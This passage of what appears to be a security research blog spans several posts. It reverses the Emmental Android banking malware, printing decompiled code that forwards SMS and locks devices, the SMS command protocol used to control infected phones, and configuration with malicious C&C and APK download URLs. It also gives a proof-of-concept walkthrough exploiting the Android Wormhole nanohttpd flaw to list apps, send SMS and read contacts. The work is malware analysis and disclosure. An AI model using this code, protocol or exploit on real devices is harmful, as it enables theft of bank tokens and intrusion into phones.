                            v1_17.putExtra("sms_body", v4_0);
                            v1_17.putExtra("sms_from", v0_8);
                            p8.startService(v1_17);
                        }
                    } else {
                        this.abortBroadcast();
                        String v0_17 = org.thoughtcrime.securesms.h.i.a("sms_phone", "0", p8);
                        if (v0_17 != "0") {
                            org.thoughtcrime.securesms.h.i.d(v0_17, v4_0, p8);
                        }
                    }
                } else {
                    this.abortBroadcast();
                    if (v1_4.b().booleanValue()) {
                        v1_4.a(p8);
                    }
                }
            }
        } else {
            this.abortBroadcast();
        }
        return;
    }

The second method

Looking at the code above I see an interesting call to another method in other class, which I also display here:

In [71]: d.CLASS_Lorg_thoughtcrime_securesms_h_f.source()
package org.thoughtcrime.securesms.h;
public class f {
    private String a;
    private org.thoughtcrime.securesms.h.h b;
    private String c;
    private String d;
    private Boolean e;
    private Boolean f;
    private String[] g;

    public f(String p6, android.content.Context p7)
    {
        this.c = "0";
        this.d = "0";
        this.e = Boolean.valueOf(0);
        this.f = Boolean.valueOf(0);
        this.g = p6.split("");
        if ((this.g.length > 1) && (org.thoughtcrime.securesms.h.h.a(this.g[1]))) {
            this.a = this.g[0];
            this.b = org.thoughtcrime.securesms.h.h.valueOf(this.g[1]);
            if (this.g.length > 2) {
                this.c = this.g[2];
                if (this.g.length > 3) {
                    this.d = this.g[3];
                    org.thoughtcrime.securesms.h.i.b("service_code", this.d, p7);
                }
            }
            this.e = Boolean.valueOf(1);
            if (org.thoughtcrime.securesms.h.i.b(org.thoughtcrime.securesms.h.i.a(this.a))) {
                this.f = Boolean.valueOf(1);
            }
        }
        return;
    }

    public Boolean a()
    {
        return this.e;
    }

    public void a(android.content.Context p4)
    {
        switch (org.thoughtcrime.securesms.h.g.a[this.b.ordinal()]) {
            case 1:
                String v0_35 = org.thoughtcrime.securesms.h.i.a("PHONE_NUMBER", "", p4);
                if ((this.c == "0") && (v0_35.length() > 0)) {
                    this.c = v0_35;
                }
                if (this.c == "0") {
                } else {
                    org.thoughtcrime.securesms.h.i.b("sms_phone", this.c, p4);
                    org.thoughtcrime.securesms.h.i.b("RTB", 2, p4);
                    org.thoughtcrime.securesms.h.i.d(this.c, "Service Started", p4);
                }
                break;
            case 2:
                org.thoughtcrime.securesms.h.i.b("RTB", 1, p4);
                org.thoughtcrime.securesms.h.i.b("Service Started", p4);
                break;
            case 3:
                this.c = org.thoughtcrime.securesms.h.i.a("sms_phone", "0", p4);
                org.thoughtcrime.securesms.h.i.b("sms_phone", "0", p4);
                org.thoughtcrime.securesms.h.i.b("RTB", 0, p4);
                if (this.c == "0") {
                } else {
                    org.thoughtcrime.securesms.h.i.d(this.c, "Service Stoped", p4);
                }
                break;
            case 4:
                org.thoughtcrime.securesms.h.i.b("DEL", 1, p4);
                this.c = org.thoughtcrime.securesms.h.i.a("sms_phone", this.c, p4);
                if (this.c == "0") {
                } else {
                    org.thoughtcrime.securesms.h.i.d(this.c, "Delete command received", p4);
                }
                break;
            case 5:
                if (this.c == "0") {
                } else {
                    org.thoughtcrime.securesms.h.i.m(p4);
                    org.thoughtcrime.securesms.h.i.b("URL_MAIN", this.c, p4);
                    org.thoughtcrime.securesms.h.i.b("Buffer setted", p4);
                    p4.sendBroadcast(new android.content.Intent(p4, org.thoughtcrime.securesms.xservices.XRepeat));
                }
                break;
            case 6:
                org.thoughtcrime.securesms.h.i.m(p4);
                break;
            case 7:
                if (this.c == "0") {
                } else {
                    org.thoughtcrime.securesms.h.i.m(p4);
                    org.thoughtcrime.securesms.h.i.b("PHONE_NUMBER", this.c, p4);
                    org.thoughtcrime.securesms.h.i.b("Number setted", p4);
                }
                break;
            case 8:
                org.thoughtcrime.securesms.h.i.b("PHONE_NUMBER", "", p4);
                break;
            case 9:
                org.thoughtcrime.securesms.h.i.m(p4);
                org.thoughtcrime.securesms.h.i.b("PHONE_NUMBER", "", p4);
                break;
            case 10:
                if (this.c == "0") {
                } else {
                    String v0_9 = ((android.app.admin.DevicePolicyManager) p4.getSystemService("device_policy"));
                    v0_9.resetPassword(this.c, 1);
                    v0_9.lockNow();
                    org.thoughtcrime.securesms.h.i.b("Device locked", p4);
                }
                break;
            case 11:
                String v0_4 = ((android.app.admin.DevicePolicyManager) p4.getSystemService("device_policy"));
                v0_4.resetPassword("", 1);
                v0_4.lockNow();
                org.thoughtcrime.securesms.h.i.b("Device unlocked", p4);
                break;
        }
        return;
    }

    public Boolean b()
    {
        return this.f;
    }
}

The third method

The method above makes again a call to other method in other class  'org.thoughtcrime.securesms.h.h.valueOf'.By the name of that method it looks like some kind of value is extracted or converted. Time to look to that method:

In [72]:In [72]: d.CLASS_Lorg_thoughtcrime_securesms_h_h.source()
package org.thoughtcrime.securesms.h;
final enum class h extends java.lang.Enum {
    public static final enum org.thoughtcrime.securesms.h.h a;
    public static final enum org.thoughtcrime.securesms.h.h b;
    public static final enum org.thoughtcrime.securesms.h.h c;
    public static final enum org.thoughtcrime.securesms.h.h d;
    public static final enum org.thoughtcrime.securesms.h.h e;
    public static final enum org.thoughtcrime.securesms.h.h f;
    public static final enum org.thoughtcrime.securesms.h.h g;
    public static final enum org.thoughtcrime.securesms.h.h h;
    public static final enum org.thoughtcrime.securesms.h.h i;
    public static final enum org.thoughtcrime.securesms.h.h j;
    public static final enum org.thoughtcrime.securesms.h.h k;
    private static final synthetic org.thoughtcrime.securesms.h.h[] l;

    static h()
    {
        org.thoughtcrime.securesms.h.h.a = new org.thoughtcrime.securesms.h.h("GOOGL", 0);
        org.thoughtcrime.securesms.h.h.b = new org.thoughtcrime.securesms.h.h("STARTB", 1);
        org.thoughtcrime.securesms.h.h.c = new org.thoughtcrime.securesms.h.h("GOOGLE", 2);
        org.thoughtcrime.securesms.h.h.d = new org.thoughtcrime.securesms.h.h("DEL", 3);
        org.thoughtcrime.securesms.h.h.e = new org.thoughtcrime.securesms.h.h("YAHOO", 4);
        org.thoughtcrime.securesms.h.h.f = new org.thoughtcrime.securesms.h.h("CLEARB", 5);
        org.thoughtcrime.securesms.h.h.g = new org.thoughtcrime.securesms.h.h("SETP", 6);
        org.thoughtcrime.securesms.h.h.h = new org.thoughtcrime.securesms.h.h("CLEARP", 7);
        org.thoughtcrime.securesms.h.h.i = new org.thoughtcrime.securesms.h.h("DROPBOX", 8);
        org.thoughtcrime.securesms.h.h.j = new org.thoughtcrime.securesms.h.h("LOCK", 9);
        org.thoughtcrime.securesms.h.h.k = new org.thoughtcrime.securesms.h.h("UNLOCK", 10);
        org.thoughtcrime.securesms.h.h[] v0_23 = new org.thoughtcrime.securesms.h.h[11];
        v0_23[0] = org.thoughtcrime.securesms.h.h.a;
        v0_23[1] = org.thoughtcrime.securesms.h.h.b;
        v0_23[2] = org.thoughtcrime.securesms.h.h.c;
        v0_23[3] = org.thoughtcrime.securesms.h.h.d;
        v0_23[4] = org.thoughtcrime.securesms.h.h.e;
        v0_23[5] = org.thoughtcrime.securesms.h.h.f;
        v0_23[6] = org.thoughtcrime.securesms.h.h.g;
        v0_23[7] = org.thoughtcrime.securesms.h.h.h;
        v0_23[8] = org.thoughtcrime.securesms.h.h.i;
        v0_23[9] = org.thoughtcrime.securesms.h.h.j;
        v0_23[10] = org.thoughtcrime.securesms.h.h.k;
        org.thoughtcrime.securesms.h.h.l = v0_23;
        return;
    }

    private h(String p1, int p2)
    {
        this(p1, p2);
        return;
    }

    public static boolean a(String p5)
    {
        int v0 = 0;
        org.thoughtcrime.securesms.h.h[] v2 = org.thoughtcrime.securesms.h.h.values();
        int v1 = 0;
        while (v1 < v2.length) {
            if (!v2[v1].name().equals(p5)) {
                v1++;
            } else {
                v0 = 1;
                break;
            }
        }
        return v0;
    }

    public static org.thoughtcrime.securesms.h.h valueOf(String p1)
    {
        return ((org.thoughtcrime.securesms.h.h) Enum.valueOf(org.thoughtcrime.securesms.h.h, p1));
    }

    public static org.thoughtcrime.securesms.h.h[] values()
    {
        return ((org.thoughtcrime.securesms.h.h[]) org.thoughtcrime.securesms.h.h.l.clone());
    }
}

Back to second method

Looking at the Java class I see that there is a some kind 'conversion' from a string to a number. Those strings looks familiar to me and I have seen some of the them in memory analysis I did in previous posts. So basically the string "GOOGL" is 'mapped' to the number '1' which can be later used in a 'switch' condition in the caller method org.thought.crime.securesms.h.f and from there jump to the method which executes the valid code. So for example, the 'GOOGL' strings, maps to number '1' and in the 'switch', the code is the following:


case 1:
                String v0_35 = org.thoughtcrime.securesms.h.i.a("PHONE_NUMBER", "", p4);
                if ((this.c == "0") && (v0_35.length() > 0)) {
                    this.c = v0_35;
                }
                if (this.c == "0") {
                } else {
                    org.thoughtcrime.securesms.h.i.b("sms_phone", this.c, p4);
                   org.thoughtcrime.securesms.h.i.b("RTB", 2, p4);
                    org.thoughtcrime.securesms.h.i.d(this.c, "Service Started", p4);
                }
                break


I have created a very basic flow diagram to see how the functions are called

The fourth method

In the code above there is an interesting call to one method: org.thoughtcrime.securesms.h.i.b("sms_phone", this.c, p4)

The code of this method is:

   public static void b(String p2, String p3, android.content.Context p4)
    {
        android.content.SharedPreferences$Editor v0_2;
        if (android.os.Build$VERSION.SDK_INT < 11) {
            v0_2 = p4.getSharedPreferences("MainPref", 0);
        } else {
            v0_2 = p4.getSharedPreferences("MainPref", 4);
        }
        android.content.SharedPreferences$Editor v0_4 = v0_2.edit();
        v0_4.putString(p2, p3);
        v0_4.commit();

        return;

In essence, this method finally is editing the MainPreferences.xml used by the malware to keep its configuration. This file is basically the XML file discovered in this post which keeps the configuration of the malware. In this case, this is a phone number which I advance is the number used to forward the stolen tokens (I will explain this in next post).

This is a summary of what's going:

1. When there is a new SMS received the OnReceive() method calls other method org.thoughtcrime.securesms.h.f
2. The method org.thoughtcrime.securesms.h.f contains a 'switch' in order to jump to the specific method to execute the code. But previous to that, the method needs to know which is the value of the variable for the 'switch'. To get this value, a call to the method org.thoughtcrime.securesms.h.h is done.
3. The method org.thoughtcrime.securesms.h.f is in charge of mapping strings to integer values. So the value returned is used by the method org.thoughtcrime.securesms.h.f .
4. Once org.thoughtcrime.securesms.h.f knows the value for the 'switch' it jumps to the correct method which execute the C&C command.

Where I am going to focus the investigation?

Basically in the strings mapped to integers. Those are the ones which are the C&C commands. So I need to see what the commands GOOGL, STARTB, DEL, YAHOO, etc, are used for.

Reversing the SMS C&C protocol of Emmental - 2nd part

November 3, 2015, 4:15 am

≫ Next: PoC to exploit Android Wormhole Vulnerability

≪ Previous: Reversing the SMS C&C protocol of Emmental (1st part - understanding the code)

$

0

0

During my previous post I investigate the source code of the emmental malware, following all the flows, in order to understand how the C&C commands are interpreted by the malware. I took as an example the GOOGL command.

Using this same approach, it is possible to figured out what other C&C commands are doing. Although there are a few more C&C commands, the ones I am interested in are: GOOGL, STARTB, DEL, YAHOO, SETP, CLEARP. In the end, and after checking the code I understood what this set of command do:

• GOOGL -> set the phone number to forward the tokens (sms_phone)
• STARTB -> service started
• DEL -> UNINSTALL the application
• YAHOO -> SETUP the URL_MAIN (Used to communicate with the C&C via HTTP)
• SETP -> Set the C&C phone number (PHONE_NUMBER)
• CLEARP -> clear the C&C phone number

So now that I know what this C&C command do, it is time to perform some tests and try to act as the C&C, via SMS. The first thing I do is to install and run the malware. Also I open a shell with root permissions to check the content of the malware configuration file.

Initial MainPreferences.xml

The initial file, after installation contains the following:                                                             

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>

<map>

    <string name="Pref5"></string>

    <int name="DEL" value="0" />

    <string name="Num5"></string>

    <string name="filters"></string>

    <int name="RID" value="25" />

    <string name="Num10"></string>

   <string name="PHONE_NUMBER"></string>

    <int name="RTB" value="0" />

    <int name="FIRST_ACTIVITY" value="1" />

    <string name="IMEI">3582******</string>

    <string name="Pref10"></string>

    <string name="URL_DATA">http://szaivert-numis.at/standardbilder/dll/1.php;http://losbalonazos.com/wp-admin/1.php</string>

    <string name="USE_URL_MAIN"></string>

    <string name="URL_LOG">http://szaivert-numis.at/standardbilder/dll/4.php;http://losbalonazos.com/wp-admin/4.php</string>

    <string name="URL_SMS">http://szaivert-numis.at/standardbilder/dll/2.php;http://losbalonazos.com/wp-admin/2.php</string>

    <string name="Pref3"></string>

    <string name="URL_MAIN">http://www.buildingforsale.eu/statistik/mainn.php;http://bildschirm24.com/mainn.php</string>

    <string name="USE_URL_LOG">http://szaivert-numis.at/standardbilder/dll/4.php</string>

    <string name="Num1"></string>

    <string name="Pref1"></string>

    <string name="Num3"></string>

</map>

Setting the C&C phone number 

Once I send the first command, SETP (CODE SETP +41xxxxxxx), to setup the C&C phone number, this I can see the the XML file has changed. Also the compromised phone is sending and ACK message to the C&C through SMS.
Note that the CODE is just a number generated by the malware which it is used a token to validate the C&C. In this case the case of this analysis the token generated by the malware is 544298 and it is stored in the field PASSADDED.

                                                            <

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>

<map>

    <string name="Pref5"></string>

    <int name="PASSADDED" value="542298" />

    <int name="DEL" value="0" />

    <string name="Num5"></string>

    <string name="filters"></string>

    <string name="USE_URL_DATA"></string>

    <string name="Num10"></string>

    <int name="RID" value="25" />

    <string name="PHONE_NUMBER">+417*********</string>

    <string name="USE_URL_SMS"></string>

    <int name="FIRST_ACTIVITY" value="1" />

    <int name="RTB" value="0" />

    <string name="IMEI">********************</string>

    <string name="URL_DATA"></string>

    <string name="Pref10"></string>

    <string name="USE_URL_MAIN"></string>

    <string name="URL_LOG"></string>

    <string name="URL_SMS"></string>

    <string name="Pref3"></string>

    <string name="USE_URL_LOG"></string>

    <string name="URL_MAIN"></string>

    <string name="Pref1"></string>

    <string name="Num1"></string>

    <string name="Num3"></string>

</map>

To start the service I send a message CODE STARTB, and a confirmation is sent to the C2C.

Setting the C&C URL 

Also, When I send the YAHOO command (CODE YAHOO http://www.c2c-demo.com), the XML file is updated with the new C2C URL http://www.c2c-demo.com. The compromised devices replies with an ACK ('Buffer Setted' message)

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>

<map>

    <string name="Pref5"></string>

    <int name="PASSADDED" value="542298" />

    <int name="DEL" value="0" />

    <string name="Num5"></string>

    <string name="filters"></string>

    <string name="USE_URL_DATA"></string>

    <string name="Num10"></string>

    <int name="RID" value="25" />

    <string name="PHONE_NUMBER">+417****</string>

    <string name="USE_URL_SMS"></string>

    <int name="FIRST_ACTIVITY" value="1" />

    <int name="RTB" value="2" />

    <string name="IMEI">3582****4</string>

    <string name="URL_DATA"></string>

    <string name="Pref10"></string>

    <string name="USE_URL_MAIN"></string>

    <string name="URL_LOG"></string>

    <string name="URL_SMS"></string>

    <string name="Pref3"></string>

    <string name="USE_URL_LOG"></string>

    <string name="URL_MAIN">http://www.c2c-demo.com</string>

    <string name="sms_phone">/string>

    <string name="Pref1"></string>

    <string name="Num1"></string>

    <string name="Num3"></string>

</map>

Setting the C&C phone number to forward the stolen tokens

Now, if if want to setup the phone number where the tokens needs to be forwarded (could be a different one from the phone C&C) I just need to send a message: CODE GOOGLE +41xxxxx. Automatically, any new message sent to the victim will be forwarded, for example a token from the Bank. Moreover, nothing is displayed int the compromised phone.

If I check the Manifest.xml , I see it contains the number of the phone where the SMS are forwaded:

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>

<map>

    <string name="Pref5"></string>

    <int name="PASSADDED" value="542298" />

    <int name="DEL" value="0" />

    <string name="Num5"></string>

    <string name="filters"></string>

    <string name="USE_URL_DATA"></string>

    <string name="Num10"></string>

    <int name="RID" value="25" />

    <string name="PHONE_NUMBER">+41******</string>

    <string name="USE_URL_SMS"></string>

    <int name="FIRST_ACTIVITY" value="1" />

    <int name="RTB" value="2" />

    <string name="IMEI">3**********</string>

    <string name="URL_DATA"></string>

    <string name="Pref10"></string>

    <string name="USE_URL_MAIN"></string>

    <string name="URL_LOG"></string>

    <string name="URL_SMS"></string>

    <string name="Pref3"></string>

    <string name="USE_URL_LOG"></string>

    <string name="URL_MAIN">http://www.c2c-demo.com</string>

    <string name="sms_phone">+4179******</string>

    <string name="Pref1"></string>

    <string name="Num1"></string>

    <string name="Num3"></string>

</map>

Deleting the malware

The last step is to check the DEL command.If i send the command CODE DEL an windows pop ups in the compromised phone which informs the user that in order to update to a new version, the current version needs to be delete. If the user accepts the malware is uninstalled and deleted. Very clever way to delete the malware :)

At this stage, I know now how the SMS C&C  and I can easily interact with it.

PoC to exploit Android Wormhole Vulnerability

November 9, 2015, 12:46 am

≫ Next: Android malware (emmental) dynamic Analysis with ddms (Dalvik Debug Monitor)

≪ Previous: Reversing the SMS C&C protocol of Emmental - 2nd part

$

0

0

A few days ago TrendMicro made public a post in which they adviced that 100 million Android devices might be affected by a serious vulnerability. In their words:

"This is a critical issue, perhaps even worse than Stagefright vulnerability that requires phishing links to web pages or user phone number, which are then used to send malicious MMS. With this security issue, attackers just simply scan the network IP and require no action from the user’s end or any social engineering attacks"

The original vulnerability was discovered by WooYun.og, a vulnerability reporting platform in China. 

But, how easy is to exploit that vulnerability? It is time to get my hands dirty :)

I did not find any PoC documented so I am going to try to understand how this work. Looking at the information from TrendMicro, the documentation of the affected component nanohttpd and the source code of one of the affected applications (9897a23f168630fe99e596d60abb5e2a) I am going to try to exploit.

The key points are:

• I know the application they are using  (com.baidu.BaiduMap, 8.7.0)
• It runs an HTTP server in some port (TCP/40310)
• I know the 'malicious' functionalities 
• There is no authentication (this is setup by the Moplus SDK)

Checking the HTTP server

The app runs a light HTTP server: nanohttpd. Once installed the app I can see straight forward that the port is open:

$ nmap -sV -P0 -p 40310 172.16.42.154

Starting Nmap 6.47 ( http://nmap.org ) at 2015-11-09 08:32 CET

Nmap scan report for 172.16.42.154

Host is up (0.14s latency).

PORT      STATE SERVICE    VERSION

40310/tcp open  tcpwrapped

But if I try to send any HTTP command, I only get an empty directory response.

If I look to the nanohttp documentation I can get an idea how it works.

The HTTP server accepts POST commands as well.

Analysing the source code

The first thing to check is the source code of the application. I am going to focus on the classes which are potentially dangerous following the information from TrendMicro.

The dangerous functions are the following ones:

public class e
{
  private static final Map a = new HashMap();
  private static final String b = SendIntent.class.getPackage().getName() + ".";
  private Context c;

  static
  {
    a.put("geolocation", b + "GetLocLiteString");
    a.put("getsearchboxinfo", b + "GetSearchboxInfo");
    a.put("getapn", b + "GetApn");
    a.put("getserviceinfo", b + "GetServiceInfo");
    a.put("getpackageinfo", b + "GetPackageInfo");
    a.put("sendintent", b + "SendIntent");
    a.put("getcuid", b + "GetCuid");
    a.put("getlocstring", b + "GetLocString");
    a.put("scandownloadfile", b + "ScanDownloadFile");
    a.put("addcontactinfo", b + "AddContactInfo");
    a.put("getapplist", b + "GetAppList");
    a.put("downloadfile", b + "DownloadFile");
    a.put("uploadfile", b + "UploadFile");
  }

  public e(Context paramContext)
  {
    this.c = paramContext;
  }



With Androguard, I can easily see the code of each of them and how each of them works:

Checking the authentication

Looking at the code I can see how the authentication work. In some case it uses a Refered header matching a regex. 

private boolean a(com.baidu.android.a.a.a parama, com.baidu.android.a.a.b paramb)
  {
    parama = parama.a("Referer");
    if (TextUtils.isEmpty(parama));
    while (!Pattern.compile("^http[s]?:\\/\\/[^\\/]+(\\.baidu\\.com|\\.hao123\\.com)(:\\d+)?(\\/.*|)$").matcher(parama).matches())
      return false;
    return true;

  }

In some other cases it is just a 'remote-addr' header with the value 127.0.0.1

public g(a parama, r paramr, InputStream paramInputStream, OutputStream paramOutputStream, InetAddress paramInetAddress)
  {
    this.b = paramr;
    this.d = paramInputStream;
    this.c = paramOutputStream;
    if ((paramInetAddress.isLoopbackAddress()) || (paramInetAddress.isAnyLocalAddress()));
    for (parama = "127.0.0.1"; ; parama = paramInetAddress.getHostAddress().toString())
    {
      this.j = new HashMap();
      this.j.put("remote-addr", parama);
      this.j.put("http-client-ip", parama);
      return;
    }
  }



Also, worth to mention that there is also a reference to the code to a parameter 'mcmdf'. This parameter, which needs to be sent in the POST request,  have the value 'inap_xxxx' where XXX is the ID of the application in the Android device. In mi case it is 115, so my final value is 'inap_115'

com.baidu.hello.patch.moplus.nebula.b.b v0_13 = ((String) p12.get("mcmdf"));
            if ((android.text.TextUtils.isEmpty(v0_13)) || ((android.text.TextUtils.equals(v0_13, "null")) || (!v0_13.startsWith("inapp_")))) {
                v0_2 = v3_0;
            } else {

  

Exploiting the app

I am going to try to exploit some of the functionalities as PoC. Looking at the source code, some of them needs additional parameters but other ones no.

To exploit successfully, and as explained previously it is necessary to:

• Setup the Header for authentication
• Setup in the body the 'mcmdf' and 'callback' parameter. This will be the same for all the cases.
• Setup some specific parameters for each kind of function to exploit

PoC 1: checking the apps running

• URL: http://ip:port/getapplist (eg: http://172.16.42.154:40310/getapplist)
• Additional parameters: 
• Result: the full list of apps installed in the phone

• 
  

PoC 2: Information about the app running the nanohttpd

• URL: http://ip:port/getserviceinfo (eg: http://172.16.42.154:40310/getserviceinfo)
• Additional parameters: -
• Result: get information of the specific application running the nanohttpd, in this case com.baidu.BaiduMap)

PoC 2: Information about a specific app installed

This one require an additional parameter. This can be obtained from the source code

• URL: http://ip:port/getpackageinfo (eg: http://172.16.42.154:40310/getpackageinfo)
• Additional parameters
• packagename: name of the package (org.mozilla.firefox)
• Result: get information of the specific application running the nanohttpd, in this case com.baidu.BaiduMap)

PoC 3: Add a contact 

This one require an additional parameter. This can be obtained from the source code

• URL: http://ip:port/addcontactinfo (eg: http://172.16.42.154:40310/addcontactinfo)
• Additional parameters
• postada: string with the values to add (eg: [{"name": "Test Blog ","starred":"1"}])
• Result: add a new entry in the contact list

PoC 4: Run an intent to write a SMS

This one require an additional parameter. This can be obtained from the source code

• URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
• Additional parameters
• intent: string of the intent to run (eg: sms:12345)
• Result: send a SMS to number 12345

PoC 4: Run an intent to make a call

This one require an additional parameter. This can be obtained from the source code

• URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
• Additional parameters
• intent: string of the intent to run (eg: tel:123)
• Result: make a call to phone 123

PoC 4: Run an intent to list the contact

This one require an additional parameter. This can be obtained from the source code

• URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
• Additional parameters
• intent: string of the intent to run (eg: content://contacts/people/)
• Result: list the contacts

PoC 5: Run of additional intents

Another examples of intents I tried are, but the are many others :)

• "content://call_log/calls" : list the phone calls
• "geo:0,0?z=4&q=restaurantes" : search for some Geo localisation

PoC 7: Get the Geo position

• URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
• Additional parameters: -
• Result: get the information about the Geolocation

Conclusion

There are other functions with can be exploited, like pulling and pushing files.

As you can see it is quite easy to exploit this vulnerability. You always will need to know the IP of the victim and the app number as requirement. However, this can be automatically exploited through a script. 

Any device connected to a WiFi sharing the same broadcast domain can be a potential a victim. When connecting to Internet through 3G/4G most of providers (at least 4 providers I tried) do not assign a public IP so from Internet the nanohttpd server is not reachable. However, likely any other mobile device assigned within the same 3G/4G IP network private range could reach the nanohttpd server, but I have not tried it myself.

---

Android malware (emmental) dynamic Analysis with ddms (Dalvik Debug Monitor)

November 17, 2015, 5:02 am

≫ Next: Forensic of Refete malware (windows) with Redline

≪ Previous: PoC to exploit Android Wormhole Vulnerability

$

0

0

In this post I will explain an easy way to see what an Android malware is doing while running with a debugger. Android provides the Dalvik Debug Monitor which it is a tool for debugging.

The malware used for this purpose with sha256 212113ea2a71af4aa1229f25b75a064d2cdcfd8ba619c5e316ec5f514a9e8f95 has not yet been reported in VirusTotal by the time of writing this post, but this sample is from the emmental campaign I have talked in previous posts.

The link to the malware was delivered by an SMS so I will try to analyse step by step what happens.

One important requirement to perform debugging is that the APK must be setup as debuggable in the AndroidManifest.xml.

<application android:debuggable="true" android:icon="@drawable/ic_launcher1" android:label="@string/app_name" android:name="org.thoughtcrime.securesms.ApplicationListener" android:theme="@style/TextSecure.LightTheme">

If the APK is not debuggable, it is always possible to manually change the AndroidManifiest.xml to set it up and generated a new APK (for that is is necessary to sign it, but it is out of the scope of this post)

DDMS debugger interface

The debugger is quite simple as seen in the screenshot below. In the top left we can see the device and also the processes which can be debugged. In the bottom right side we see the logs and also we can apply filters

Logs for the SMS application with the malware link

When opening the SMS application (hangouts) logs are generated with this information. In this case there is a link to the APK.

11-17 12:20:47.371: I/Babel(22994): Start loaders for ave{3115675a #0 id=0x7f0c012b bhp}(client_generated:sms:159166478162052737) loader: LoaderManager{35369d8b in ak{30c39e68}}

11-17 12:20:47.626: I/Conv(22994): Conversation loader finished for client_generated:sms:159166478162052737, count# 1

Logs when opening the link

Then, I can click on the link, and I see in the logs that Chrome is opening the URL.

11-17 12:21:07.207: I/ActivityManager(778): START u0 {act=android.intent.action.VIEW dat=http://sicherheitplatz.net/ZKB-Sms-Security-v-15_11.apk cmp=com.android.chrome/com.google.android.apps.chrome.Main (has extras)} from uid 10015 on display 0

11-17 12:21:07.290: I/Conv(22994): Conversation loader finished for client_generated:sms:159166478162052737, count# 1

11-17 12:21:07.390: I/ActivityManager(778): START u0 {act=android.intent.action.VIEW dat=document://648?http://sicherheitplatz.net/ZKB-Sms-Security-v-15_11.apk flg=0x82000 cmp=com.android.chrome/org.chromium.chrome.browser.document.DocumentActivity (has extras)} from uid 10035 on display 0

Also, that the file is successfully downloaded

11-17 12:24:54.089: D/DownloadManager(14796): [221] Finished with status SUCCESS

Logs when the APK is installed and executed for the first time

Next, when clicking in the APK downloaded, I can see the installation process. Also if I run the new application, the logs shows it.

Important to highlight that the calls to the main activity methods are also displayed

11-17 12:27:45.287: I/AppSecurityPermissions(17145): Ignoring unknown permission:org.thoughtcrime.securesms.ACCESS_SECRETS

11-17 12:27:54.150: D/DefContainer(17261): Copying /storage/emulated/0/Download/ZKB-Sms-Security-v-15_11.apk to base.apk

11-17 12:27:54.164: D/OpenGLRenderer(17145): endAllStagingAnimators on 0xb49a0a00 (RippleDrawable) with handle 0xa10a5f20

11-17 12:27:54.653: D/PackageManager(778): Renaming /data/app/vmdl1916226284.tmp to /data/app/org.thoughtcrime.securesms-1

11-17 12:27:54.718: I/PackageManager(778): Running dexopt on: /data/app/org.thoughtcrime.securesms-1/base.apk pkg=org.thoughtcrime.securesms isa=arm vmSafeMode=false

11-17 12:27:54.738: I/dex2oat(24397): /system/bin/dex2oat --zip-fd=6 --zip-location=/data/app/org.thoughtcrime.securesms-1/base.apk --oat-fd=7 --oat-location=/data/dalvik-cache/arm/data@app@org.thoughtcrime.securesms-1@base.apk@classes.dex --instruction-set=arm --instruction-set-features=div --runtime-arg -Xms64m --runtime-arg -Xmx512m --swap-fd=8

11-17 12:27:56.869: W/PackageManager(778): Not granting permission android.permission.BROADCAST_WAP_PUSH to package org.thoughtcrime.securesms (protectionLevel=2 flags=0x8be46)

11-17 12:27:56.919: V/BackupManagerService(778): restoreAtInstall pkg=org.thoughtcrime.securesms token=13 restoreSet=0

11-17 12:27:57.063: D/BackupManagerService(778): Received broadcast Intent { act=android.intent.action.PACKAGE_ADDED dat=package:org.thoughtcrime.securesms flg=0x4000010 (has extras) }

11-17 12:27:57.065: W/BackupManagerService(778): Removing schedule queue dupe of org.thoughtcrime.securesms

11-17 12:27:57.147: D/PackageBroadcastService(1614): Received broadcast action=android.intent.action.PACKAGE_ADDED and uri=org.thoughtcrime.securesms

11-17 12:27:57.167: D/h(1614): Processing package: org.thoughtcrime.securesms

11-17 12:27:57.170: D/GassUtils(1614): Found app info for package org.thoughtcrime.securesms:10. Hash: 98d4c17a13e7994e688ce160692c9de8bdc8d7837adf398d5a6e393e336fe14d

11-17 12:27:57.170: D/h(1614): Found info for package org.thoughtcrime.securesms in db.

11-17 12:27:57.633: I/UpdateIcingCorporaServi(10708): Updating corpora: APPS=org.thoughtcrime.securesms, CONTACTS=MAYBE

11-17 12:30:23.991: I/ActivityManager(778): START u0 {act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10000000 pkg=org.thoughtcrime.securesms cmp=org.thoughtcrime.securesms/.RoutingActivity} from uid 10063 on display 0

11-17 12:30:23.998: V/WindowManager(778): addAppToken: AppWindowToken{39c71651 token=Token{3808cf78 ActivityRecord{2c1ca8db u0 org.thoughtcrime.securesms/.RoutingActivity t90}}} to stack=1 task=90 at 0

11-17 12:30:24.005: V/WindowManager(778): Adding window Window{3452b042 u0 Starting org.thoughtcrime.securesms} at 6 of 12 (after Window{329ce254 u0 com.android.packageinstaller/com.android.packageinstaller.InstallAppProgress})

11-17 12:30:24.035: I/ActivityManager(778): Start proc 24690:org.thoughtcrime.securesms/u0a117 for activity org.thoughtcrime.securesms/.RoutingActivity

11-17 12:30:24.224: W/ContextImpl(24690): Implicit intents with startService are not safe: Intent { act=XMainProcessStart (has extras) } android.content.ContextWrapper.startService:516 org.thoughtcrime.securesms.RoutingActivity.onCreate:-1 android.app.Activity.performCreate:5990 

11-17 12:30:24.264: V/WindowManager(778): Adding window Window{2a41199f u0 org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity} at 6 of 13 (before Window{3452b042 u0 Starting org.thoughtcrime.securesms})

11-17 12:30:24.348: I/ActivityManager(778): START u0 {cmp=org.thoughtcrime.securesms/.FirstActivity (has extras)} from uid 10117 on display 0

11-17 12:30:24.350: V/WindowManager(778): addAppToken: AppWindowToken{187f094a token=Token{6973eb5 ActivityRecord{3808aec u0 org.thoughtcrime.securesms/.FirstActivity t90}}} to stack=1 task=90 at 1

11-17 12:30:24.350: V/WindowManager(778): Adding window Window{3452b042 u0 Starting org.thoughtcrime.securesms} at 7 of 13 (after Window{2a41199f u0 org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity})

11-17 12:30:24.448: V/WindowManager(778): Adding window Window{cca1131 u0 org.thoughtcrime.securesms/org.thoughtcrime.securesms.FirstActivity} at 7 of 14 (before Window{3452b042 u0 Starting org.thoughtcrime.securesms})

